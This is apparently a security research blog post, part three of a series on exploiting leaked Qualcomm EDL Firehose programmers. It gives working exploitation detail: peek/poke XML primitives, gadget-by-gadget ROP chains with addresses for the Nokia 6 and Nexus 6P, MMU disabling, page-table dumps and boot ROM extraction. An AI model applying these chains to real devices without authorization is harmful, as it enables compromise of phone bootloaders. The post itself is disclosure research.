<--

Exploiting Qualcomm EDL Programmers (3): Memory-based Attacks & PBL Extraction

By Roee Hay (@roeehay) & Noam Hadad
January 22, 2018
* *

In the previous chapters we presented Qualcomm Sahara, EDL and the problem of the leaked Firehose programmers. We then continued by exploring storage-based attacks. A natural continuation of this research is gaining arbitrary code execution in the context of the programmer itself.

Peek and Poke

As we witnessed in Part 1, oddly enough Firehose programmers implement the peek and poke XML tags, which according to our correspondence with Qualcomm, are customizations set by OEMs QPSIIR-909. Since their handling code is common, we can only guess that there exist some compilation flag that is kept enabled by the affected OEMs.

Anyway, peek and poke are the holy grail of primitives that attackers creatively gain by exploiting vulnerabilities. In the case of the Firehose programmer, however, these features are built-in!

Analyzing their handlers reveals the peek and poke tags expect the following format:

32-bit programmers:

<peek address64="ADDR" SizeInBytes="SIZE"/>
<poke address64="ADDR" SizeInBytes="SIZE" value="VALUE"/>

64-bit programmers:

<peek address64="ADDR" size_in_bytes="SIZE"/>
<poke address64="ADDR" size_in_bytes="SIZE" value64="VALUE"/>

Adding this to our research tool, allowed us to easily explore susceptible devices.

Our next goal was to be able to use these primitives in order to execute code within the programmer itself. Doing so will allow us to research the programmer in runtime. Since the programmer replaces the SBL itself, we expect that it runs in very high privileges (hopefully EL3), an assumption we will later be able to confirm/disprove once code execution is achieved.

Gaining Code Execution on Nokia 6 and aarch32 Programmers

Our first target device was Nokia 6, that includes an MSM8937 SoC. This device has an aarch32 leaked programmer. To achieve code execution within the programmer, we hoped to find an writable and executable memory page, which we will load our code into, and then replace some stored LR in the execution stack to hijack the control flow.

Therefore, this kind of attack requires the following:

  1. Finding the address of the execution stack.
  2. Finding a WX page.

Finding the memory location of the execution stack is relatively easy, as this is set in the reset interrupt handler of the programmer:

LOAD:08008A60  LDR  R0, =0x805D000 ; Load from Memory
LOAD:08008A64  MOV  SP, R0  ; Rd = Op2

Next, we dumped the stack and searched for saved LR candidates for replacement:

> firehorse.py -t nokia6 fw peek 0x805cf80 80
0805cf80  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0805cf90  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0805cfa0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0805cfb0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0805cfc0  00 00 00 00 00 00 00 00 72 eb dc 2f 00 00 00 00   ........r../....
0805cfd0  00 e8 06 08 f0 d7 06 08 00 10 06 08 9b 04 02 08   ................
0805cfe0  e8 cf 05 08 00 90 20 00 68 00 00 00 00 00 00 00   ...... .h.......
0805cff0  f4 9b 01 08 01 00 00 00 88 09 07 08 d9 9b 01 08   ................

We chose 0x0802049b – the programmer has a main-loop that waits for incoming XMLs through USB (handle_input from Part 1), so our replaced LR value is the return location to that loop from the XML command parser :

LOAD:08020490  MOV   R0, R4  
LOAD:08020492  BL    set_struct_fields 
LOAD:08020496  BL    parse_command 
LOAD:0802049A  CMP   R0, #1  ; <- CHOSEN LR
LOAD:0802049C  BNE   loc_8020496 

Poking the corresponding stack location (0x805cfdc) with an arbitrary address should hijack the execution flow.

Luckily enough (otherwise, where is the fun in that?), this should not be as easy, as we expected the programmer to employ non-executable pages in order to protect against such a trivial exploit.

At this stage of the research, we did not have much understanding of the memory layout of the programmers, and due to the fact that poking an unmapped arbitrary address resulted in a crash (either infinite loop or a reboot), we had to discover a more intelligent way in order to deduce the such memory layout of the programmer.

To do so, we devised a ROP-based exploit, in order to leak the TTBR0 register, which holds the base address of the page table. (Later we discovered that this was not necessary because we also statically found that address in the PBL & Programmer binaries.) Hopefully we will then be able to find a suitable page (i.e one that is both writable and executable), or change (by poke) the access permissions of an existing one.

For Nokia 6, we used the following ROP chain:

GADGET 1: We increase the stack with 0x118 bytes.

LOAD:08025A8A  ADD      SP, SP, #0x118
LOAD:08025A8C  MOV      R0, R4
LOAD:08025A8E  POP.W    {R4-R8}
LOAD:08025A92  LDR.W    PC, [SP],#0x14

Therefore, the address of the next gadget (0x8008D38) should be written to ORIGINAL_SP + 4 + 0x118 + 20 (R4-R8)

GADGET 2: We get control of R4-R12,LR using the following gadget:

LOAD:08008D38  LDMFD   SP!, {R4-R12,LR}
LOAD:08008D3C  MOV     R0, R1
LOAD:08008D40  BX      LR

Controlling LR allows us to set the address of the next gadget - 0x0801064B

GADGET 3: The next gadget calls R12 (that we control, using the previous gadget):

LOAD:0801064A  BLX   R12
LOAD:0801064C  MOV   R5, R0
LOAD:0801064E  LDR   R1, [SP,#4]
LOAD:08010650  CMP   R1, R4
LOAD:08010652  BEQ   loc_8010658
LOAD:08010654  BL    canaryFail
LOAD:08010658  ADD   SP, SP, #0xC
LOAD:0801065A  MOV   R0, R5
LOAD:0801065C  POP   {R4,R5,PC}

GADGET 4: We set R12 to 080081AC, a gadget that copies TTBR0 to R0:

LOAD:080081AC  MRC  p15, 0, R0,c2,c0, 0
LOAD:080081B0  MOV  R0, R0,LSR#14
LOAD:080081B4  MOV  R0, R0,LSL#14
LOAD:080081B8  BX   LR

This will return to GADGET 3, with R0 = TTBR0.

GADGET 5: The next gadget copies R0 to [R4], which we can control using GADGET 2:

LOAD:0800D036  STR  R0, [R4]
LOAD:0800D038  ADD  SP, SP, #0x14
LOAD:0800D03A  POP  {R4,R5,PC}

We return from this gadget to the original caller. The only thing we need to take care of is copying the original stack and relocating absolute stack address.

Executing this chain, we managed to leak the TTBR0 register into a controlled memory address without crashing the device (by reconstructing the stack and returning to the original caller).

> firehorse.py  -t nokia6 target rop
INFO: dst 805d180, n=2090000805cfe8
INFO: dst 805d188, n=68
INFO: dst 805d190, n=108019bf4
INFO: dst 805d198, n=8019bd908070988
INFO: dst 805d1a0, n=0
INFO: dst 805d1a8, n=0
INFO: dst 805d1b0, n=0
INFO: dst 805d1b8, n=0

We then read the leaked register using the peek primitive:

> firehorse.py -t nokia6 fw peek 0x80b0000 4
INFO: 080b0000  00 00 20 00                                       .. .

Hence TTBR0 = 0x200000! Peeking at this address gives the following:

> firehorse.py -t nokia6 fw peek 0x200000 50
00200000  16 0c 00 00 01 40 20 00 01 48 20 00 16 0c 30 00   [email protected] ..H ...0.
00200010  16 0c 40 00 16 0c 50 00 16 0c 60 00 16 0c 70 00   [email protected]`...p.
00200020  16 0c 80 00 16 0c 90 00 16 0c a0 00 16 0c b0 00   ................
00200030  16 0c c0 00 16 0c d0 00 16 0c e0 00 16 0c f0 00   ................
00200040  16 0c 00 01 16 0c 10 01 16 0c 20 01 16 0c 30 01   .......... ...0.

A page table after all!

Our research tool, firehorse can then walk through the page tables:

> firehorse.py -t nokia6 target dump_pt
First level (va = 00200000)
---------------------------------------------
00000000  SECTION nx=0x1, apx=0x0, section_base=0x0, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00100000       PT domain=0x0, coarse_base=0x204000, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
00200000       PT domain=0x0, coarse_base=0x204800, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
00300000  SECTION nx=0x1, apx=0x0, section_base=0x300000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
07f00000  SECTION nx=0x1, apx=0x0, section_base=0x7f00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08000000       PT domain=0x0, coarse_base=0x204400, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x1,
08100000  SECTION nx=0x1, apx=0x0, section_base=0x8100000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08200000  SECTION nx=0x1, apx=0x0, section_base=0x8200000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08300000  SECTION nx=0x1, apx=0x0, section_base=0x8300000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08400000  SECTION nx=0x1, apx=0x0, section_base=0x8400000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08500000  SECTION nx=0x1, apx=0x0, section_base=0x8500000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08600000       PT domain=0x0, coarse_base=0x204c00, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
08700000  SECTION nx=0x1, apx=0x0, section_base=0x8700000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
Second level (va = 08000000)
---------------------------------------------
08000000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8000000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8000172,
08001000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8001000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8001172,
08002000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8002000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8002172,
08003000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8003000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8003172,
08004000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8004000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8004172,
08005000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8005000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8005172,
08006000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8006000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8006326,
08007000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8007000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8007326,
08008000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8008000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8008326,
[...]
0807b000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807b000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807b137,
0807c000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807c000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807c137,
0807d000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807d000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807d137,
0807e000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x807e000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x807e172,
0807f000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x807f000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x807f172,
08080000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8080000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8080172,
08081000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8081000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8081172,
08082000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8082000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8082172,
[...]

APX=0, AP=0x3, NX=0x0 means a written and executable (WX) page. As one can see, there are such pages already available for us to abuse. therefore we can simply load arbitrary code in such pages, and force the execution towards that code – for Nokia 6, ROP was not needed after all!

The rest of our devices with an aarch32 programmer (Xiaomi Note 5A and Xiaomi Note 4) also had an WX page available, hence code execution on them was immediate as well.

Code Execution on aarch64 programmers

As for the other devices we posses, that have aarch64 programmers, ROP-based exploitation was indeed needed, as no writable/executable pages were found, due to probably the employment of SCTLR.WXN, that disables execution on any writable page, regardless of its NX bit. To defeat that, we devised a ROP chain that disables the MMU itself!

For example, for Nexus 6P (MSM8994) we used the following chain in order to disable the MMU – Similarly to Nokia 6, we found the stack base address (0xFEC04000), dumped it, and chose a stored LR target (0xFEC03F88).

GADGET 1 Our first gadget generously gives us control over X0-X30:

ROM:00000000F803E848   LDP  X30, X0, [SP+0x100+var_100],#0x10
ROM:00000000F803E84C   LDP  X28, X29, [SP+0xF0+var_F0],#0x10
ROM:00000000F803E850   LDP  X26, X27, [SP+0xE0+var_E0],#0x10
ROM:00000000F803E854   LDP  X24, X25, [SP+0xD0+var_D0],#0x10
ROM:00000000F803E858   LDP  X22, X23, [SP+0xC0+var_C0],#0x10
ROM:00000000F803E85C   LDP  X20, X21, [SP+0xB0+var_B0],#0x10
ROM:00000000F803E860   LDP  X18, X19, [SP+0xA0+var_A0],#0x10
ROM:00000000F803E864   LDP  X16, X17, [SP+0x90+var_90],#0x10
ROM:00000000F803E868   LDP  X14, X15, [SP+0x80+var_80],#0x10
ROM:00000000F803E86C   LDP  X12, X13, [SP+0x70+var_70],#0x10
ROM:00000000F803E870   LDP  X10, X11, [SP+0x60+var_60],#0x10
ROM:00000000F803E874   LDP  X8, X9, [SP+0x50+var_50],#0x10
ROM:00000000F803E878   LDP  X6, X7, [SP+0x40+var_40],#0x10
ROM:00000000F803E87C   LDP  X4, X5, [SP+0x30+var_30],#0x10
ROM:00000000F803E880   LDP  X2, X3, [SP+0x20+var_20],#0x10
ROM:00000000F803E884   LDP  X0, X1, [SP+0x10+var_10],#0x10
ROM:00000000F803E888   RET

GADGET 2: The next gadget call X4, which we control using GADGET 1:

ROM:00000000F800E280   BLR  X4
ROM:00000000F800E284   LDR  X30, [SP,#8]
ROM:00000000F800E288   ADD  SP, SP, #16
ROM:00000000F800E28C   RET

GADGET 3: We set X4 to 0xF03DF38, a gadget which writes X1 (which we control using GADGET 1) to the EL3 System Control Register (SCTLR_EL3):

ROM:00000000F803DF38   MSR #6, c1, c0, #0, X1
ROM:00000000F803DF3C   RET

The LSB of SCTLR_EL3 controls the MMU (0 = disabled). This gadget will return to GADGET 2.

GADGET 2: Similarly to the aarch32 case, we copy the original stack s.t. the last gadget will return to the original caller, and the device will keep processing Firehose commands.

After running our chain, we could upload to and execute our payload at any writable memory location.

We constructed a similar chain for OnePlus 5, however, to keep the device in a working state we had to restore some registers to their original value before the execution of the chain. In addition, OnePlus 5’s programmers runs in EL1, so we used SCTLR_EL1 instead of the EL3 counterpart.

Getting UART Output

Having arbitrary code execution, we could begin researching the programmers, this time in runtime. Before we do so, we need to somehow get output from the device. Although we can peek at arbitrary memory locations (and this is how we leaked TTBR0 from the Nokia 6 programmer), it’s both inconvenient and insufficient, as our code may crash the device, making debugging extremely painful. (For debugging during our ROP chain development, we used gadgets that either reboot the device, or cause infinite loops, in order to indicate that our gadgets were indeed executed).

Luckily for us, it turns out that most Android devices expose a UART point, that can be fed into a standard FTDI232. For most devices the relevant UART points have already been documented online by fellow researchers/engineerings. However discovering the point on undocumented devices is an easy task.

For example, here is the UART TX point for OnePlus 5:

OnePlus 5 UART

On some devices UART is not initialized by the programmers. For such devices, it can be dumped straight from memory (sadly, it will not let us debug crashes):

> firehorse.py  -t angler target uart
INFO: Reading UART from 00000000fe813b70

Format: Log Type - Time(microsec) - Message
Log type: B - since boot(excluding boot rom).  D - delta
B -  12694466 - SBL1, Start
B -  12700810 - scatterload_region && ram_init, Start
B -  12702152 - Entering DeviceProgrammer

In order for our code to write to the UART interface, we simply call one of the programmer’s already available routines. For example, on OnePlus 5:

int64 __fastcall uartB(char *a1)
{
  char *v1; // x20
  unsigned int v2; // w21

  v1 = a1;
  v2 = sub_140323EC();
  sub_14032128(v1, v2, 66LL, 0LL);
  return uartOut(v1, v2, 'B', 0LL);
}

Now that we can “conveniently” receive output from the device, we’re finally ready for our runtime research.

Runtime Research

The first research question that we came up with was what exception (privilege) level we ran under:

aarch32 exception levels aarch64 exception levels

To answer our research question, we could read relevant registers. For aarch64 - CurrentEL, for aarch32 - CPSR.M. We also read the SCR.NS register (if possible) in order to find if we ran in Secure state.

For Nokia 6 (aarch32), for example, we get the following UART log, that indicates we are in EL3:

B - CPSR = 00000000
B - SCR = 800000d3
B - NSACR = 00000000
B - VBAR = 08006000
B - MVBAR = e8445ce0
B - RMR = 00000000
B - TTBR0 = 00200000
B - TTBR1 = c9051653

The Nexus 6P (angler) aarch64 programmer also runs in EL3:

B - Exception Level=3
B - DAIF=00000000000003c0, NZCV=0000000020000000, SPSel=0000000000000001
B - TTBR0_EL3  = 00000000fe800000
B - VBAR_EL3   = 00000000f803f000
B - SCTLR_EL3  = 0000000070dd191e
B - TCR_EL3    = 0000000000000220
B - SCR_EL3    = 0000000000000400

OnePlus 5’s programmer, on the other hand, runs in EL1:

B - Exception Level=1
B - DAIF=00000000000000c0, NZCV=0000000020000000, SPSel=0000000000000001
B - TTBR0_EL1  = 000000001400f000
B - TTBR1_EL1  = 0000000000000000
B - VBAR_EL1   = 0000000014015000
B - SCTLR_EL1  = 0000000000c00800
B - TCR_EL1    = 000000000080001c

We can see that the most recent programmer has the least privilege level, a good sign from Qualcomm.

Obtaining Application Processor PBLs

Knowing the memory-layout of the programmers, and the running exception level, we started peeking around. Luckily enough, for select chipsets, we soon encountered the PBL themselves:

Device SoC arch PBL base SHA256 (first 84 KB) SHA256 (first 96 KB)
Xiaomi Note 5A (ugglite) MSM8917 aarch32 0x100000 62A1E772932EB33E86EE9A141403B78EF2D00F2C6848FE17213B92FCC7FAD1DF E0B29ACCFF90D46023B449E071E74B1B0503FE704FD0DEFDE7317797601D9F31
Xiaomi Note 4 (mido) MSM8953 aarch32 0x100000 7E8BF70DFAD30A2C410EE91B301FACA9684677656F29F1E287C84360B149823A B46518743470D2DF8B7DADE1561C87407D6DCE5CC489B88AC981C63078D82782
Nokia 6 (d1c) MSM8937 aarch32 0x100000 62A1E772932EB33E86EE9A141403B78EF2D00F2C6848FE17213B92FCC7FAD1DF B674D3DC099E6D1A43D01055AA6089647594B9D455F32EF2238FB619CF67FF5C
Nexus 6P (angler) MSM8994 aarch64 0xFC010000 73A038CD54EB5F36C63555FDED82669D6FA98EF7EDA33417615DF481DD98BCFA 4EF56F77DF83A006F97C5E4AB2385431F573F4F120C1B452D414F01EDA40F637
OnePlus X MSM8974 aarch64 0xFC010000 C073E07C7444C2A1C6E4BFFDBB0D7ABE8E6CB3AB68B2C5F2FA932AC6BBADF360 BE783DC133326E22D06823A335C1AEA0A3E544B4421A407263C9941DB6EA4E0C

For example, the strings below are of the MSM8994 PBL (Nexus 6P):

> firehose.py -t angler target extract_pbl
> strings -n 8 pbl-angler-fc010000.bin | sort | uniq
./apps/pbl_auth.c
./apps/pbl_cache_mmu.c
./apps/pbl_dload.c
./apps/pbl_error_handler.c
./apps/pbl_flash.c
./apps/pbl_flash_sdcc.c
./apps/pbl_flash_ufs.c
./apps/pbl_hw_init.c
./apps/pbl_loader.c
./apps/pbl_mc.c
./apps/pbl_sahara.c
./apps/pbl_timer.c
EFI PART
QUALCOMM COPYRIGHT 2013 AUTHOR: Qualcomm CoreBSP Boot, Security, USB
./shared/pbl_common.c

Please note that the PBL cannot be obtained by code running in the platform OS. Tested on our Nexus 6P, trying to read from its PBL physical address (0xFC010000), instantly resulted in a system reboot. We guess that the Boot ROM can only be obtained from the secure state (which angler’s programmer runs under).

Obtaining Modem and RPM PBLs

In order to further understand the memory layout of our devices, we dumped and parsed their page tables. For example, Nexus 6P’s page tables, whose base address is at 0xf800000 is as follows:

> firehorse.py -t angler target dump_pt
Dumping page tables (levels=3)
First level (ptbase = 00000000fe800000)
---------------------------------------------
0000000000000000   BLOCK4 ns=0x0, xn=0x0, level=0x1, af=0x1, nG=0x0, ap=0x0, sh=0x0, pxn=0x0, output=0x0L, attrindex=0x4, nshigh=0x0,
0000000040000000   BLOCK4 ns=0x0, xn=0x0, level=0x1, af=0x1, nG=0x0, ap=0x0, sh=0x0, pxn=0x0, output=0x40000000L, attrindex=0x4, nshigh=0x0,
0000000080000000   BLOCK4 ns=0x0L, xn=0x0L, level=0x1, af=0x1L, nG=0x0L, ap=0x0L, sh=0x0L, pxn=0x0L, output=0x80000000L, attrindex=0x4L, nshigh=0x0L,
00000000c0000000   TABLE4 ns=0x0L, xn=0x0L, level=0x1, af=0x0L, nG=0x0L, ap=0x0L, sh=0x0L, pxn=0x0L, output=0xf8050000L, attrindex=0x0L, nshigh=0x0L,
Second level (ptbase = 00000000f8050000)
---------------------------------------------
00000000c0000000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0000000L, attrindex=0x4L, nshigh=0x0L,
00000000c0200000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0200000L, attrindex=0x4L, nshigh=0x0L,
00000000c0400000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0400000L, attrindex=0x4L, nshigh=0x0L,
00000000c0600000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0600000L, attrindex=0x4L, nshigh=0x0L,
00000000c0800000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0800000L, attrindex=0x4L, nshigh=0x0L,
[...]
00000000fbe00000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfbe00000L, attrindex=0x4L, nshigh=0x0L,
00000000fc000000   TABLE4 ns=0x0L, xn=0x0L, level=0x2, af=0x0L, nG=0x0L, ap=0x0L, sh=0x0L, pxn=0x0L, output=0xf8053000L, attrindex=0x0L, nshigh=0x0L,
00000000fc200000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc200000L, attrindex=0x4L, nshigh=0x0L,
00000000fc400000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc400000L, attrindex=0x4L, nshigh=0x0L,
00000000fc600000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc600000L, attrindex=0x4L, nshigh=0x0L,
[...]
00000000ff800000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xff800000L, attrindex=0x4L, nshigh=0x0L,
00000000ffa00000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xffa00000L, attrindex=0x4L, nshigh=0x0L,
00000000ffc00000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xffc00000L, attrindex=0x4L, nshigh=0x0L,
00000000ffe00000   BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xffe00000L, attrindex=0x4L, nshigh=0x0L,

Third level (ptbase = 00000000f8053000)
---------------------------------------------
00000000fc000000   TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc000000L, attrindex=0x4L, nshigh=0x0L,
00000000fc001000   TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc001000L, attrindex=0x4L, nshigh=0x0L,
00000000fc002000   TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc002000L, attrindex=0x4L, nshigh=0x0L,
[...]
00000000fc010000   TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc010000L, attrindex=0x4L, nshigh=0x0L,
00000000fc011000   TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc011000L, attrindex=0x4L, nshigh=0x0L,
00000000fc012000   TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc012000L, attrindex=0x4L, nshigh=0x0L,

At this point no area seemed more attractive than the other. We could have not dumped everything because then we would risk in device hangs, reboots, etc, since some locations are not of the RAM.

Luckily, by revisiting the binary of the first level page table, we noticed that it is followed by 32-bit long entires (from offset 0x20)

firehorse.py --t angler fw peek fe800000 200
00000000fe800000  11 04 00 00 00 00 00 00 11 04 00 40 00 00 00 00   [email protected]
00000000fe800010  11 04 00 80 00 00 00 00 03 00 05 f8 00 00 00 00   ................
00000000fe800020  16 0c 80 00 16 0c 90 00 16 0c a0 00 16 0c b0 00   ................
00000000fe800030  16 0c c0 00 16 0c d0 00 16 0c e0 00 16 0c f0 00   ................
00000000fe800040  16 0c 00 01 16 0c 10 01 16 0c 20 01 16 0c 30 01   .......... ...0.
[...]

The angler’s programmer is a 64-bit one, so clearly the 32-bit entries do not belong here. One possible explanation for their existence is that they are old entries from the APPS PBL (which indeed sets TTBR0 to 0xFE800000)

Why not reconstruct the 32-bit page table? Skipping the first 8 entries, that worked pretty well:

> firehorse.py -t angler target dump_pt32 8
First level (va = fe800000)
---------------------------------------------
00800000  SECTION nx=0x1, apx=0x0, section_base=0x800000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00900000  SECTION nx=0x1, apx=0x0, section_base=0x900000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00a00000  SECTION nx=0x1, apx=0x0, section_base=0xa00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00b00000  SECTION nx=0x1, apx=0x0, section_base=0xb00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00c00000  SECTION nx=0x1, apx=0x0, section_base=0xc00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00d00000  SECTION nx=0x1, apx=0x0, section_base=0xd00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00e00000  SECTION nx=0x1, apx=0x0, section_base=0xe00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00f00000  SECTION nx=0x1, apx=0x0, section_base=0xf00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
01000000  SECTION nx=0x1, apx=0x0, section_base=0x1000000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
01100000  SECTION nx=0x1, apx=0x0, section_base=0x1100000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
01200000  SECTION nx=0x1, apx=0x0, section_base=0x1200000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
fbf00000  SECTION nx=0x1L, apx=0x0L, section_base=0xfbf00000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
fc000000       PT domain=0x0L, coarse_base=0xfe804000L, p=0x0L, sbz1=0x0L, sbz2=0x0L, ns=0x0L,
fc100000       PT domain=0x0L, coarse_base=0xfe804c00L, p=0x0L, sbz1=0x0L, sbz2=0x0L, ns=0x0L,
fc200000  SECTION nx=0x1L, apx=0x0L, section_base=0xfc200000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
fc300000  SECTION nx=0x1L, apx=0x0L, section_base=0xfc300000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
[...]
fe700000  SECTION nx=0x1L, apx=0x0L, section_base=0xfe700000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
